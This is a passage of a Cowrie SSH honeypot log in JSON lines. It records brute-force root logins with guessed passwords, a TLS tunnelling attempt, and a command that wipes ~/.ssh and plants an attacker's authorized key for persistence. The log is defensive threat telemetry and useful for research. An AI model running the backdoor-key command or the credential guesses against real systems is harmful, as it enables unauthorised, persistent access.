{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\x86\\xe1JI\\x1c@\\n`\\x12\\xb8<\\xc20K\\xa6\\x13-\\x87\\\\{E_\\x84\\x8e@\\xc8\\xc7t\\x18!m {\\xd4\\xcc\\x08\\x1c\\xf2\\xb4\\xbd\\xfd\\x9b\\xaa\\x11\\xf6\\xcdP\\x0cQ3j\\x0e5d\\xfe\\xef\\x06\\x95:\\xd3\\x02\\xab?\\xb1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xcb\\xe2r$}\\xe8\\x07 \\x1aa\\x0f.Ak\\xbb\\x87\\x14\\xad\\xe5E\\xdf\\xf6,o_\\xe1\\x16\\xd7\\x0c\\xac\\xc8O\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\x86\\xe1JI\\x1c@\\n`\\x12\\xb8<\\xc20K\\xa6\\x13-\\x87\\\\{E_\\x84\\x8e@\\xc8\\xc7t\\x18!m {\\xd4\\xcc\\x08\\x1c\\xf2\\xb4\\xbd\\xfd\\x9b\\xaa\\x11\\xf6\\xcdP\\x0cQ3j\\x0e5d\\xfe\\xef\\x06\\x95:\\xd3\\x02\\xab?\\xb1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xcb\\xe2r$}\\xe8\\x07 \\x1aa\\x0f.Ak\\xbb\\x87\\x14\\xad\\xe5E\\xdf\\xf6,o_\\xe1\\x16\\xd7\\x0c\\xac\\xc8O\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:44.255805Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:44.710260Z","src_ip":"77.90.185.17","session":"d7bdf41510a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":45734,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49437e92283","protocol":"ssh","message":"New connection: 103.154.77.48:45734 (10.17.0.5:22) [session: b49437e92283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:53.384444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:53.388794Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:53.649686Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qq123321","message":"login attempt [root/qq123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:54.727756Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:55.279950Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:55.283104Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:55.286126Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:55.549574Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.145060Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.147523Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.412609Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.415673Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":46764,"dst_ip":"10.17.0.5","dst_port":22,"session":"3416031ca8d6","protocol":"ssh","message":"New connection: 103.154.77.48:46764 (10.17.0.5:22) [session: 3416031ca8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.667819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.672441Z","src_ip":"103.154.77.48","session":"3416031ca8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.932068Z","src_ip":"103.154.77.48","session":"3416031ca8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":54036,"dst_ip":"10.17.0.5","dst_port":22,"session":"262674cd7b31","protocol":"ssh","message":"New connection: 42.200.78.78:54036 (10.17.0.5:22) [session: 262674cd7b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:56.999479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:57.061691Z","src_ip":"42.200.78.78","session":"262674cd7b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:57.282341Z","src_ip":"42.200.78.78","session":"262674cd7b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:58.004198Z","src_ip":"103.154.77.48","session":"3416031ca8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zw","password":"zw","message":"login attempt [zw/zw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:58.154224Z","src_ip":"42.200.78.78","session":"262674cd7b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:59.266119Z","src_ip":"103.154.77.48","session":"3416031ca8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:59.376701Z","src_ip":"42.200.78.78","session":"262674cd7b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":47534,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffec2f3dfc78","protocol":"ssh","message":"New connection: 103.154.77.48:47534 (10.17.0.5:22) [session: ffec2f3dfc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:59.519650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:59.524394Z","src_ip":"103.154.77.48","session":"ffec2f3dfc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:59.781705Z","src_ip":"103.154.77.48","session":"ffec2f3dfc78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:00.848616Z","src_ip":"103.154.77.48","session":"ffec2f3dfc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:01.110177Z","src_ip":"103.154.77.48","session":"ffec2f3dfc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:01.114665Z","src_ip":"103.154.77.48","session":"b49437e92283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":47558,"dst_ip":"159.203.135.109","dst_port":22,"session":"21269a219bec","protocol":"ssh","message":"New connection: 77.90.185.17:47558 (159.203.135.109:22) [session: 21269a219bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:18.044834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:18.049436Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2